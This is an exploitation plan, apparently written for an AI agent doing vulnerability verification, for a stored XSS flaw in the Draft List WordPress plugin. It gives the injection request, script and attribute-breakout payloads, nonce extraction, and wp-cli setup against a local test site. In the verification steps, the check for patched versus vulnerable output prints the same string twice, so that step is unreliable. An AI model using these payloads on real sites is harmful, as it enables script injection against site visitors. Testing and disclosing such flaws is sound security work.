Exploitation Research Plan - CVE-2026-9104 (Draft List Plugin)

1. Vulnerability Summary

The Draft List plugin (versions <= 2.6.3) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows authenticated users with Author level permissions or higher to inject arbitrary web scripts via a draft's post title. This occurs because the plugin fails to sanitize or escape the post title when it is rendered through the [drafts] shortcode, particularly when the viewing user does not have edit_posts capabilities (e.g., Unauthenticated Guests or Subscribers).

2. Attack Vector Analysis

• Entry Point: WordPress Post Editor (wp-admin/post.php).
• Vulnerable Parameter: post_title.
• Authentication Requirement: Authenticated (Author+ role).
• Trigger: Viewing a page/post containing the [drafts] shortcode as a user without edit permissions.
• Preconditions:
  • An Author creates a draft with a malicious title.
  • A site administrator (or the Author) publishes a page using the [drafts] shortcode.

3. Code Flow

1. Injection: An Author saves a draft post. The post_title is stored in the wp_posts table.
2. Shortcode Execution: A user visits a page with [drafts]. WordPress calls draft_list_shortcode() in inc/create-lists.php.
3. Template Handling: draft_list_shortcode calls draft_list_generate_code().
4. Sanitization (Bypassed): In inc/create-lists.php, the $template itself is sanitized via wp_kses() on line 150:

   $template = wp_kses( html_entity_decode( $template ), $allowed_list );
   

   However, this only sanitizes the tags in the template string, not the content of the draft post that will be interpolated into it.
5. Sink: The function (in the truncated portion) iterates through drafts. It replaces the {{draft}} placeholder in the $template with the $post->post_title.
6. Capability Check: The vulnerability description specifies that the unescaped path is triggered when the viewer "lacks edit capabilities." This implies that the logic for non-editors omits escaping functions like esc_html() or esc_attr() when inserting the title into the HTML string.
7. Breakout: If the title is placed inside a title attribute or a <span> without escaping, a payload like "><script>alert(1)</script> breaks out of the attribute/tag.

4. Nonce Acquisition Strategy

This vulnerability is triggered by viewing a standard page, so no nonce is required for the victim to execute the payload. To inject the payload as an Author, the standard WordPress post-editing nonce is required.

Injection Nonce Acquisition (for Author):

1. Log in to the WordPress dashboard as an Author.
2. Navigate to wp-admin/post-new.php.
3. Use the browser_eval tool to extract the nonce required for saving the post:

   document.querySelector('#_wpnonce').value
   

4. This nonce is used in the POST request to wp-admin/post.php.

(Note: Based on the provided source, this plugin does not appear to use wp_localize_script for shortcode rendering, as it is a purely server-side generation process.)

5. Exploitation Strategy

Step 1: Inject Stored XSS Payload

The attacker (Author) creates a draft post.

• URL: http://vulnerable-wp.local/wp-admin/post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: editpost
  • post_ID: (The ID of a newly created draft)
  • post_title: "><script>alert(document.domain)</script>
  • post_status: draft
  • _wpnonce: (Acquired from Step 4)

Step 2: Create a Trigger Page

The attacker or an admin ensures a page exists with the [drafts] shortcode.

• Shortcode: [drafts limit=10]

Step 3: Trigger Execution

Access the page as an unauthenticated guest.

• URL: http://vulnerable-wp.local/page-with-shortcode/
• Mechanism: The plugin renders the list of drafts. Because the guest cannot edit the draft, the plugin enters the vulnerable code path and echoes the post_title unsafely.

6. Test Data Setup

1. User Creation: wp user create attacker attacker@example.com --role=author --user_pass=password
2. Draft Creation: wp post create --post_type=post --post_status=draft --post_title='Initial Title' --post_author=(ID of attacker)
3. Shortcode Page: wp post create --post_type=page --post_status=publish --post_title='Coming Soon' --post_content='[drafts]'

7. Expected Results

• When the guest visits the 'Coming Soon' page, the HTML source will contain:
  ... <span title=""><script>alert(document.domain)</script>"> ... (or similar depending on the exact attribute used).
• A JavaScript alert box will appear displaying the domain name.

8. Verification Steps

1. Check Database: wp db query "SELECT post_title FROM wp_posts WHERE post_status='draft'" to confirm the payload is stored.
2. Verify Response: Use http_request as an unauthenticated user to fetch the page content and grep for the raw string "><script>alert.
3. Escaping Check: If the output shows "><script>, the vulnerability is patched. If it shows "><script>, it is vulnerable.

9. Alternative Approaches

• Attribute Breakout: If <script> is filtered by a firewall, use an event handler: post_title = '" onmouseover="alert(1) " '.
• Custom Template: If the default template is somehow escaped, an Author might attempt to override it via the shortcode itself: [drafts template='<div title="{{draft}}">Check this out</div>']. The plugin's wp_kses call on the template (line 150) may allow the title attribute, but it won't prevent the title data from breaking out of that attribute.